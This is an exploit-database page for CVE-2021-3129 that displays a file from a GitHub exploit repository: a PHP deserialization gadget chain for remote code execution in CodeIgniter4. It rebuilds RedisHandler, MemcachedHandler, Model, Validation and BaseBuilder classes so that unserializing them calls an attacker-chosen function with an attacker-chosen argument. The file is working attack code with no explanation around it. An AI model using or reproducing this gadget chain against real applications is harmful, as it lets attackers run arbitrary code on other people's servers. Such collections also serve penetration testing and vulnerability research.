Exploit databaseDownload repository ZIP
GH-66faa7b65e19525535eade56ba1ade9e
cuongtop4598/cve-2021-3129-script
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
cuongtop4598/cve-2021-3129-scriptRevision caa57f64eaba
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/CodeIgniter4/RCE/1/gadgets.php
PHP · 1,701 bytes<?php
namespace CodeIgniter\Cache\Handlers {
class RedisHandler {
protected $redis;
public function __construct($func, $param) {
$this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
new \CodeIgniter\Model(
new \CodeIgniter\Database\BaseBuilder,
new \CodeIgniter\Validation\Validation,
$func
),
$param
);
}
}
}
namespace CodeIgniter\Session\Handlers {
class MemcachedHandler {
protected $memcached;
protected $lockKey;
public function __construct($memcached, $param) {
$this->lockKey = $param;
$this->memcached = $memcached;
}
}
}
namespace CodeIgniter {
class Model {
protected $builder;
protected $primaryKey;
protected $beforeDelete;
protected $validationRules;
protected $validation;
public function __construct($builder, $validation, $func) {
$this->builder = $builder;
$this->primaryKey = null;
$this->beforeDelete = array();
$this->beforeDelete[] = "validate";
$this->validation = $validation;
$this->validationRules = array(
"id" => array(
"rules" => array($func)
)
);
}
}
}
namespace CodeIgniter\Validation {
class Validation {
protected $ruleSetFiles;
public function __construct() {
$this->ruleSetFiles = array("finfo");
}
}
}
namespace CodeIgniter\Database {
class BaseBuilder {
}
}